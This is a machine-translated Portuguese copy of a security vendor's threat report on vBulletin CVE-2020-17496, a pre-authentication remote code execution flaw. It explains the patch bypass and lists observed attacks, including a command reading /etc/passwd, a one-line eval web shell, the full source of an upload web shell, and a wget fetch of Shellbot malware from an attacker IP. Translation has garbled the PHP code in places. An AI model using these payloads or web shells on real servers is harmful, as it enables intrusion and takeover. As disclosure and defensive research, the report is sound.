Exploits para vBulletin Pre-Auth CVE-2020-17496 já são vistos na internet

Sumário executivo

Naquela época, os pesquisadores da Unidade 42 publicaram um blog sobre essa vulnerabilidade do vBulletin , analisando sua causa raiz e o exploit que encontramos. Ao explorar esta vulnerabilidade, um invasor pode obter acesso privilegiado e controle sobre qualquer servidor vBulletin executando as versões 5.0.0 até 5.5.4 e, potencialmente, bloquear as organizações em seus próprios sites.

Recentemente, os pesquisadores da Unidade 42 descobriram explorações ininterruptas aproveitando a vulnerabilidade RCE de pré-autorização do vBulletin CVE-2020-17496 . As explorações são um desvio da correção da vulnerabilidade anterior, CVE-2019-16759, que permite que os invasores enviem uma solicitação HTTP elaborada com um nome de modelo especificado e código PHP malicioso, e leva à execução remota de código. Mais de 100.000 sites são construídos no vBulletin, incluindo os fóruns das principais empresas e organizações, portanto, é imperativo corrigir imediatamente.

Neste blog, fornecemos detalhes sobre o desvio do patch da vulnerabilidade, código de prova de conceito (PoC) para demonstrar a vulnerabilidade e informações sobre os ataques que observamos na natureza.

Os clientes da Palo Alto Networks são protegidos pelos seguintes serviços e produtos por meio de assinaturas de prevenção de ameaças e a filtragem de URL bloqueia o tráfego C2 relacionado.

Análise da causa raiz da vulnerabilidade (CVE-2020-17496)

A renderização de modelo é uma funcionalidade do vBulletin que pode converter modelos XML em código PHP e executá-lo. A partir da versão 5.0, o vBulletin começa a aceitar solicitações Ajax para renderização de template. A renderização é executada com uma função staticRenderAjax . Conforme mostrado na Figura 1, os valores dos parâmetros para esta função são de $ _REQUESTS , $ _GET e $ _POST . Portanto, o nome do modelo e a configuração relacionada que vem desses parâmetros são controláveis ​​pelo usuário, o que leva à vulnerabilidade do RCE CVE-2019-16759.

Quando um invasor manipula uma solicitação Ajax que contém o nome do modelo widget_php e código malicioso colocado no parâmetro widgetConfig [‘code’] , o mecanismo de renderização converterá o modelo XML widget_php mostrado na Figura 2 em uma string de código PHP e, em seguida, executará o código pela função eval destacada na Figura 3. Como o código gerado tem uma linha de vB5_Template_Runtime :: evalPhp (”. $ widgetConfig [‘code’] , o código malicioso na solicitação será executado.

[código]

$final_rendered = ” . ”;

if (empty ($ widgetConfig) AND! empty ($ widgetinstanceid))

{

$ final_rendered. = ”. ”; $ widgetConfig = vB5_Template_Runtime :: parseData (‘widget’, ‘fetchConfig’, $ widgetinstanceid);

$final_rendered .= ” . ‘ ‘;

}

outro {

$final_rendered .= ”;

}

$final_rendered .= ” . ‘ ‘ . ”;

if (! empty ($ widgetConfig))

{

$final_rendered .= ‘ ‘ . ”;

$ widgetid = $ widgetConfig [‘widgetid’];

$final_rendered .= ” . ‘ ‘ . ”;

$widgetinstanceid = $widgetConfig[‘widgetinstanceid’];

$final_rendered .= ” . ‘ ‘;

}

outro

{

$final_rendered .= ”;

}

$ final_rendered. = ”. ”. vB5_Template_Runtime :: includeTemplate (‘module_title’, array (‘widgetConfig’ => $ widgetConfig, ‘show_title_divider’ => ‘1’, ‘can_use_sitebuilder’ => $ user [‘can_use_sitebuilder’])). ”. ”;

if (! empty ($ widgetConfig [‘code’]) AND! vB :: getDatastore () -> getOption (‘disable_php_rendering’))

{

$ final_rendered. = ”. ”. ”. vB5_Template_Runtime :: evalPhp (”. $ widgetConfig [‘code’].”). ”;

}

outro

{

$final_rendered .= ‘ ‘ . ”;

if ($ user [‘can_use_sitebuilder’])

{$ final_rendered. = ”. vB5_Template_Runtime :: parsePhrase (“click_edit_to_config_module”). ”;

}

outro

{

$final_rendered .= ”;

}

$final_rendered .= ” . ‘ ‘;

}

$final_rendered .= ” . ‘ ‘;

[/código]

A partir da versão 5.5.5, uma correção para CVE-2019-16759 foi introduzida na função callRender () conforme mostrado na Figura 4. Ela usa um mecanismo de lista de não permissão para verificar o nome do modelo. Se o nome for widget_php , o mecanismo não renderizará o modelo solicitado.

Outra correção é que a função evalPhp verificará o nome do modelo atual. Após a correção, widget_php é o único modelo que pode ser usado para executar o código PHP, conforme mostrado na Figura 5.

A correção torna widget_php o único template que pode ser utilizado para execução de código PHP e, enquanto isso, restringe o acesso do usuário a este template. No entanto, no bypass mais recente, descobrimos que outro modelo pode ser utilizado para carregar este modelo. Esse modelo é widget_tabbedcontainer_tab_panel .

Este modelo widget_tabbedcontainer_tab_panel mostrado na Figura 6, acima, é um modelo que pode ser usado para renderizar vários modelos filhos. Renderizar o modelo em si não leva diretamente à execução remota do código. No entanto, a renderização desse modelo acionará a renderização de outros modelos filhos.

O código a seguir é o código PHP que é renderizado a partir do modelo widget_tabbedcontainer_tab_panel em XML. Depois que esse código for gerado, ele será executado.

[código]

$final_rendered = ” . ”;

$ panel_id = ”. vB5_Template_Runtime :: vBVar ($ id_prefix) .vB5_Template_Runtime :: vBVar ($ tab_num). ”;

$final_rendered .= ” . ” . ” . ‘ ‘ . ”;

if (isset ($ subWidgets) AND (is_array ($ subWidgets) OR $ subWidgets instanceof ArrayAccess))

{

foreach ($ subWidgets AS $ subWidget)

{

$ final_rendered. = ”. vB5_Template_Runtime :: includeTemplate ($ subWidget [‘template’], array (‘widgetConfig’ => $ subWidget [‘config’], ‘widgetinstanceid’ => $ subWidget [‘widgetinstanceid’], ‘widgettitle’ => $ subWidget [‘ title ‘],’ tabbedContainerSubModules ‘=> $ subWidget [‘ tabbedContainerSubModules ‘],’ product ‘=> $ subWidget [‘ product ‘])). ”;

}

}$final_rendered .= ” . ‘’;

[/código]

No código PHP, pode-se ver que o motor de renderização irá percorrer o “subWidget” e sua configuração de $ subWidgets e criar um novo objeto de template, após o qual a renderização irá gerar seu código PHP. Nesse caso, se a string widget_php for atribuída à variável subWidget e o código malicioso for colocado em $ widgetConfig [‘code’] , o código malicioso será executado da mesma forma que com CVE-2019-16759.

Prova de conceito

Com base em nossa análise, podemos construir o código de exploração para provar a funcionalidade. A chamada da função callRender requer o método POST HTTP (conforme Figura 7).

A Figura 8 mostra uma página comprometida que contém o resultado do código phpinfo () ; com as informações do pedido. As Figuras 9 e 10 mostram algumas outras solicitações manipuladas que têm o mesmo efeito.

Na URL, o nome do modelo filho widget_php e o código malicioso phpinfo (); exit (); estão no subWidget da matriz como o primeiro elemento. Quando o back-end processa este URL, o código malicioso é executado.

Exploits in the Wild: CVE-2020-17496

Detectamos o primeiro incidente de exploração CVE-2020-17496 em 10 de agosto de 2020 e, posteriormente, descobrimos que as tentativas de exploração de diferentes endereços IP estão em andamento. Observe que esses são ataques díspares e não um esforço coordenado de nenhum invasor em particular.

Atividades de digitalização

De acordo com o tráfego malicioso que capturamos, existem vários IPs de origem executando varreduras. Essas varreduras tentam encontrar sites vulneráveis ​​e coletar essas informações, o que é uma etapa inicial dos ataques cibernéticos. O tráfego é mostrado nas Figuras 11-15. Essas cargas tentam executar comandos do sistema echo e id , que podem dar aos invasores conhecimento se os alvos são ou não vulneráveis ​​de acordo com as respostas.

Leitura de arquivos confidenciais

Alguns invasores estão tentando explorar a vulnerabilidade e ler arquivos no lado do servidor. A carga útil contém a função PHP shell_exec () para a execução de comandos arbitrários do sistema e um comando do sistema cat ../../../../../../../../../ .. / etc / passwd para ler o conteúdo do / etc / passwd . O tráfego é mostrado na Figura 15. Assim que o ataque for bem-sucedido, informações confidenciais dos alvos podem ser divulgadas.

Escrevendo Web Shell

Alguns invasores estão explorando a vulnerabilidade para instalar um shell da web.

A Figura 16 mostra que o exploit está tentando escrever um shell web baseado em PHP <? Php @eval ($ _ POST [“x”]);?> Para o arquivo conf.php no diretório do host da web com a função PHP file_put_content ( ) . Assim que o ataque for bem-sucedido, os invasores podem enviar seus comandos via solicitação HTTP POST com o parâmetro x para o shell da web e executar os comandos no lado do servidor.

A Figura 17 mostra que o exploit está tentando baixar um script PHP no servidor vítima. O código do webshell é o seguinte. O código fornece uma página de upload para que os invasores façam upload de quaisquer arquivos e conduzam as etapas de acompanhamento de um ataque cibernético.

[código]

<? php

relatório_de_erro (0);

echo “Jasmine <br>”;

echo ”<font color = # ff0000>”. php_uname (). ””;

imprimir “\ n”; $ disable_functions = @ini_get (“disable_functions”);

echo “<br> DisablePHP =”. $ disable_functions; imprimir “\ n”;

echo ”<br> <form method = post enctype = multipart / form-data>”;

echo ”<input type = file name = f> <input name = k type = submit id = k value = upload> <br>”;

if ($ _ POST [“k”] == upload) {

if (@copy ($ _ FILES [“f”] [“tmp_name”], $ _ FILES [“f”] [“name”])) {

echo ”<b>”. $ _ FILES [“f”] [“nome”];

}outro{

echo ”<b> Gagal upload cok”;

}

}

?>

[/código]

A Figura 18 mostra que a exploração está tentando escrever código PHP codificado em base64 em um arquivo no diretório do host da web. A nova página levará a um ponto de entrada de upload de arquivo arbitrário, permitindo que os invasores conduzam as etapas de acompanhamento de um ataque cibernético.

Baixando Shellbot

Alguns invasores estão utilizando a vulnerabilidade para baixar um malware de script baseado em Perl (Shellbot) com a função PHP shell_exec () para a execução do comando do sistema wget do endereço http: // 178 [.] 170 [.] 117 [. ] 50 / bot1 e execute-o. A carga útil pode ser vista na Figura 19.

Uma vez que o script é executado, ele se conectará a um servidor de comando e controle (C2) baseado em IRC com o endereço de 66 [.] 7 [.] 149 [.] 161: 6667 , entre no canal IRC #afk então continue respondendo ao PING do servidor, como no tráfego mostrado na Figura 20. Depois de receber os comandos do canal de bate-papo, ele executará o código relacionado de varredura de porta, baixará arquivos, executará comandos do sistema, iniciará um ataque de inundação, pop uma concha para os atacantes e assim por diante.

Baixando Sora

Um exploit foi encontrado para baixar uma variante do Mirai (Sora) do servidor do invasor. No entanto, a carga útil é ineficaz, pois usa o método HTTP incorreto.

De acordo com a análise das amostras, eles se espalham com diferentes combinações de exploits do CVE-2020-5902 (o que seria ineficaz, pois a carga útil usa comandos bash, enquanto o exploit requer que os comandos injetados sejam específicos compatíveis com CLI) , CVE-2020-1937 , CVE-2020-10173 , CVE-2020-10987 , Netgear R700 RCE, Netlink GPON Router 1.0.11 RCE e a vulnerabilidade CVE-2020-17496 discutida neste blog.

Conclusão

Existem vários tipos de tentativas de exploração contra a vulnerabilidade CVE-2020-17496 de pré-autenticação do vBulletin RCE sendo detectada por nossa plataforma de ameaças. Como um pacote de software de fórum amplamente utilizado e em execução há muito tempo no mercado, foi identificado como um alvo valioso pelos invasores.

A vBulletin lançou o patch para corrigir esta vulnerabilidade em 10 de agosto de 2020. Aplicar o patch para a versão mais recente reduzirá os riscos, o que é altamente recomendado.

Os clientes da Palo Alto Networks são protegidos pelos seguintes serviços e produtos:

• Assinatura de prevenção de ameaças 59133 e 80671.

Fonte: https://unit42.paloaltonetworks.com/cve-2020-17496/